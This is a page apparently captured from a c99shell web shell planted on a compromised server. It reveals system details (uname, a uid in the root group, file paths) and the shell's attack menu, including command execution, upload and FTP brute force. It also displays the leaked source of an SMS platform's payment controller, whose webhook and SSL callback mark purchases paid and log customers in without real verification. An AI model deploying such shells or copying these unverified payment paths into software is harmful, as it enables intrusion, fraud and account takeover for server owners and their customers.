!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/Modules/PaymentGateway/Http/Controllers/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SenderIdPurchaseController.php (14.29 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\PaymentGateway\Http\Controllers;

use 
App\Models\Customer;
use 
App\Models\CustomerNumber;
use 
App\Models\Number;
use 
App\Models\NumberRequest;
use 
App\Models\SenderId;
use 
App\Models\Transactions;
use 
App\Models\WhatsAppNumber;
use 
App\Models\WhatsAppNumberRequest;
use 
Carbon\Carbon;
use 
Illuminate\Contracts\Support\Renderable;
use 
Illuminate\Http\Request;
use 
Illuminate\Routing\Controller;
use 
Illuminate\Support\Facades\Log;
use 
Illuminate\Support\Str;
use 
Modules\PaymentGateway\SenderIdPurchaseGateway\ProcessPayment;
use 
Modules\PaymentGateway\Services\PaymentCredentials;
use 
Omnipay\Omnipay;
use 
PayPal\Api\Payment;

class 
SenderIdPurchaseController extends Controller
{
    
/**
     * Display a listing of the resource.
     * @return Renderable
     */
    
public function index()
    {
        return 
view('paymentgateway::index');
    }

    public function 
process(Request $request)
    {
        
$customer auth('customer')->user();

        
$data['sender_id'] =$senderId $customer->sender_ids()->where('id'$request->id)->firstOrFail();
        if(
$senderId->status=='approved' && $senderId->expire_date now()){
            return 
abort('404');
        }
        return 
view('paymentgateway::sender_id.process'$data);
    }

    public function 
payNow(Request $request)
    {
        if (
env("APP_DEMO")){
            return 
redirect()->route('customer.sender-id.index')->withErrors(['msg' => trans('admin.app_demo_message')]);
        }
        
$customer auth('customer')->user();
        
$sender_id $customer->sender_ids->where('id'$request->sender_id)->first();
        if (!
$sender_id)
            return 
redirect()->route('customer.sender-id.index')->withErrors(['msg' => trans('Masking ID not found')]);

        
$senderIdPrice = isset(json_decode(get_settings('senderid_price'))->sender_id_price) ? json_decode(get_settings('senderid_price'))->sender_id_price 0;

        
//Transaction Report
        
$transaction= new Transactions();
        
$transaction->customer_id=$customer->id;
        
$transaction->type='sender_id';
        
$transaction->added_by=auth('customer')->user()->type;
        
$transaction->amount=$senderIdPrice;
        if(
$senderIdPrice<=0) {
            
$transaction->status 'paid';
        }else {
            
$transaction->status 'unpaid';
        }
        
$transaction->ref_id=$sender_id->id;
        
$transaction->transaction_id=Str::random(12);
        
$transaction->save();


        if (
$senderIdPrice <= 0) {
            
$expire_date Carbon::now()->addMonths(1);
            if(
$sender_id->status=='approved') {
                
$sender_id->expire_date $expire_date;
                
$sender_id->is_paid 'yes';
                
$sender_id->save();
            }
            return 
redirect()->route('customer.sender-id.index')->with('success'trans('Congratulations! SenderId successfully purchase'));
        }
        try {

            if (!
in_array($request->payment_type, ['flutterwave''vogue_pay''offline''coinpay'])) {
                
$processPayment = new ProcessPayment();
                
$processResult $processPayment->set_gateway($request->payment_type)
                    ->
senderId($sender_id)
                    ->
request($request)
                    ->
process();
                if (
$processResult->error_message) {
                    return 
redirect()->route('customer.sender-id.index')->withErrors(['failed' => $processResult->error_message]);
                }
                if (
$processResult->return_view) {
                    return 
$processResult->return_view;
                } elseif (
$processResult->will_redirect && $processResult->redirect_url) {
                    return 
redirect()->to($processResult->redirect_url);
                } else {
                    return 
redirect()->route('customer.sender-id.index')->with('success'trans('Congratulations! SenderId successfully purchase'));
                }
            } else {
                return 
redirect()->route('customer.sender-id.index')->with('success'trans('Congratulations! SenderId successfully purchase'));
            }
        } catch (
\Exception $ex) {
            
Log::error($ex);
            return 
redirect()->route('customer.sender-id.index')->withErrors(['msg' => trans('Invalid Payment')]);
        }
        
//end
    
}

//    For Paypal
    
public function getCredentials()
    {
        
$credentials json_decode(get_settings('payment_gateway'));
        if (!isset(
$credentials) || (!$credentials->paypal_client_id || !$credentials->paypal_client_secret)) {
            throw new 
\Exception('Credentials not found. Please contact with the administrator');
        }
        return 
$credentials;
    }
    function 
getPayPalApiContext($client_id$secret_key)
    {

        return new 
\PayPal\Rest\ApiContext(
            new 
\PayPal\Auth\OAuthTokenCredential(
                
$client_id,     // ClientID
                
$secret_key      // ClientSecret
            
)
        );
    }

    public function 
paymentSuccess(Request $request)
    {

        try{

            
$credentials PaymentCredentials::get();
            if (!isset(
$credentials) || !isset($credentials->paypal_payment_mode) || !$credentials->paypal_payment_mode || (!$credentials->paypal_client_id || !$credentials->paypal_client_secret)) {
                throw new 
\Exception('Credentials not found. Please contact with the administrator');
            }
            
$mode=isset($credentials->paypal_payment_mode) && $credentials->paypal_payment_mode && $credentials->paypal_payment_mode=='live'?'false':'true';
            
$gateway Omnipay::create('PayPal_Rest');
            
$gateway->setClientId($credentials->paypal_client_id);
            
$gateway->setSecret($credentials->paypal_client_secret);
            
$gateway->setTestMode($mode);


            if (
$request->paymentId && $request->PayerID){
                
$transaction $gateway->completePurchase(array(
                    
'payer_id'             => $request->input('PayerID'),
                    
'transactionReference' => $request->input('paymentId'),
                ));
                
$response $transaction->send();

                if(!
$response->isSuccessful()) {
                    return 
redirect()->route('customer.dashboard')->withErrors(['msg' => trans('Invalid payment')]);
                }
            } else {
                return 
redirect()->route('customer.dashboard')->withErrors(['msg' => trans('Transaction is declined')]);
            }

            
$paymentId $request->paymentId;
            
$sender_id $request->sender_id;
            
$user $request->user;

            if (!
$paymentId || !$sender_id || !$user) {
                return 
redirect()->route('customer.dashboard')->withErrors(['msg' => trans('Invalid payment')]);
            }

            
$customer=Customer::where('id'$user)->first();
            if (!
$customer){
                return 
redirect()->route('customer.dashboard')->withErrors(['msg' => trans('Invalid payment Request')]);
            }


            
$senderRequest SenderId::where(['id' => $sender_id'customer_id' => auth('customer')->id()])->where('status''review')->first();

            if (!
$senderRequest) {
                return 
redirect()->route('customer.sender-id.index')->withErrors(['msg' => trans('Invalid payment')]);
            }

            
$transaction=Transactions::where('type''sender_id')->where('ref_id'$senderRequest->id)
                ->
where('customer_id'$senderRequest->customer_id)->first();

            if(
$transaction) {
                
$transaction->transaction_id $paymentId;
                
$transaction->status 'paid';
                
$transaction->save();
            }

            
$expire_date Carbon::now()->addMonths(1);
            
$senderRequest->expire_date $expire_date;
            
$senderRequest->status 'approved';
            
$senderRequest->save();

            return 
redirect()->route('customer.sender-id.index')->with('success'trans('Congratulations! SenderID successfully purchase'));
        }catch(
\Exception $ex){
            return 
redirect()->route('customer.sender-id.index')->withErrors(['errors'=>$ex->getMessage()]);
        }
    }




    public function 
checkValidPayment(Request $request)
    {
        
$price json_decode(get_settings('senderid_price'))->sender_id_price;
        
$senderId auth('customer')->user()->sender_ids()->where('id'$request->sender_id)->first();
        if (!
$senderId || $price != $request->price) {
            return 
response()->json(['status' => 'failed''message' => 'Invalid payment']);
        }
        
$senderId->is_paid 'yes';
        
$senderId->save();
        return 
response()->json(['status' => 'success''message' => 'Successfully purchase sender-id']);
    }


    public function 
coinPayment(Request $request)
    {
        
$user auth('customer')->user();
        
$senderId $user->sender_ids()->where('id'$request->sender_id)->first();
        if (!
$senderId) return response()->json(['status' => 'failed''message' => trans('Sender-id not found')]);


        
$settings json_decode(get_settings('payment_gateway'));
        
$private_key = isset($settings->private_key) ? $settings->private_key '';
        
$public_key = isset($settings->public_key) ? $settings->public_key '';

        
$cps_api = new \CoinpaymentsAPI($private_key$public_key'json');

// Enter amount for the transaction
        
$settings json_decode(get_settings('local_setting'));
        
$currency1 = isset($settings->currency_code) ? $settings->currency_code 'USD';
        
$currency2 = isset($request->coin_payment_type) ? strtoupper($request->coin_payment_type) : 'BTC';

// Enter buyer email below
        
$price json_decode(get_settings('senderid_price'))->sender_id_price;


        
$url route('paymentgateway::number.coin.payment', ['id' => $senderId->id]);
        
$userName $user->full_name;
        
$userEmail $user->email;
        
$itemName $senderId->sender_id;

        
$data = [
            
'amount' => $price,
            
'currency1' => $currency1,
            
'currency2' => $currency2,
            
'buyer_name' => $userName,
            
'buyer_email' => $userEmail,
            
'item_name' => $itemName,
            
'ipn_url' => $url,
        ];

        
$transaction_response $cps_api->CreateCustomTransaction($data);

        if (
$transaction_response['error'] == 'ok') {

            
$status_url = isset($transaction_response['result']) && isset($transaction_response['result']['status_url']) ? $transaction_response['result']['status_url'] : '';
            
$responseAmount = isset($transaction_response['result']) && isset($transaction_response['result']['amount']) ? $transaction_response['result']['amount'] : '';

            
$data = [
                
'status_url' => $status_url,
                
'amount' => $responseAmount,
                
'currency' => $currency2,
            ];
            return 
response()->json(['status' => 'success''data' => $data]);
        } else {
            throw new 
\Exception($transaction_response['error']);
            return 
response()->json(['status' => 'failed''message' => $transaction_response['error']]);
        }
    }

    public function 
webhook(Request $request)
    {
        
$settings json_decode(get_settings('payment_gateway'));
        
$merchant_id = isset($settings->merchate_id) ? $settings->merchate_id '';
        
$ipn_secret = isset($settings->ipn_secret) ? $settings->ipn_secret '';


        
$txn_id = isset($request->txn_id) ? $request->txn_id '';
        if (
$txn_id) {
            
$senderId SenderId::where('id'$request->id)->firstOrFail();
        } else {
            
abort('404');
        }

        
$price json_decode(get_settings('senderid_price'))->sender_id_price;//BTC
        
if (!isset($request->ipn_mode) || $request->ipn_mode != 'hmac') {
            
$this->edie("IPN Mode is not HMAC");
        }

        if (!isset(
$_SERVER['HTTP_HMAC']) || empty($_SERVER['HTTP_HMAC'])) {
            
$this->edie("No HMAC Signature Sent.");
        }


        if (!isset(
$request->merchant) || $request->merchant != trim($merchant_id)) {
            
$this->edie("No or incorrect merchant id.");
        }

        
$hmac hash_hmac("sha512"$requesttrim($ipn_secret));
        if (!
hash_equals($hmac$_SERVER['HTTP_HMAC'])) {
            
$this->edie("HMAC signature does not match.");
        }

        
$amount1 floatval($request->amount1); //IN USD
        
$amount2 floatval($request->amount2); //IN BTC

        
$status intval($request->status);


        if (
$amount1 $price) {
            
$this->edie("Amount is lesser than order total");
        }

        if (
$status >= 100 || $status == 2) {
            
// Payment is complete
            
$senderId->id_paid 'yes';
            
$senderId->save();
        }
        die(
"IPN OK");
    }

    public function 
senderIdPurchaseSsl(Request $request)
    {
        
$amount $request->amount;
        
$price json_decode(get_settings('senderid_price'))->sender_id_price;
        if (!
$request->value_a || !$amount) {
            return 
abort(404);
        }
        
$senderId SenderId::where('id'$request->value_a)->first();

        if (!
$senderId) {
            return 
abort(404);
        }
        if (
$price != $amount) {
            return 
redirect()->route('customer.numbers.purchase')->withErrors(['failed' => 'Invalid payment']);
        }
        
$customer Customer::where('id'$senderId->customer_id)->firstOrFail();
        
auth('customer')->loginUsingId($customer->id);
        if (
$senderId) {
            
$expire_date Carbon::now()->addMonths(1);
            
$senderId->expire_date $expire_date;
            
$senderId->is_paid 'yes';
            
$senderId->save();
        }
        return 
redirect()->route('customer.sender-id.index')->with('success''Congratulations! SenderId successfully purchase');
    }
    public function 
uddoktapaySenderIdSuccess(Request $request){

        return 
redirect()->route('customer.sender-id.index')->with('success''Congratulations! SenderId successfully purchase');
    }

    public function 
uddoktapayWebhook(Request $request){
        if(isset(
$request->product_id) && isset($request->transaction_id)){
            
$senderId SenderId::where('id'$request->product_id)->first();

            if (!
$senderId) {
                return 
abort(404);
            }

            if (
$senderId) {
                
$senderId->is_paid 'yes';
                
$senderId->save();
            }

        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0048 ]--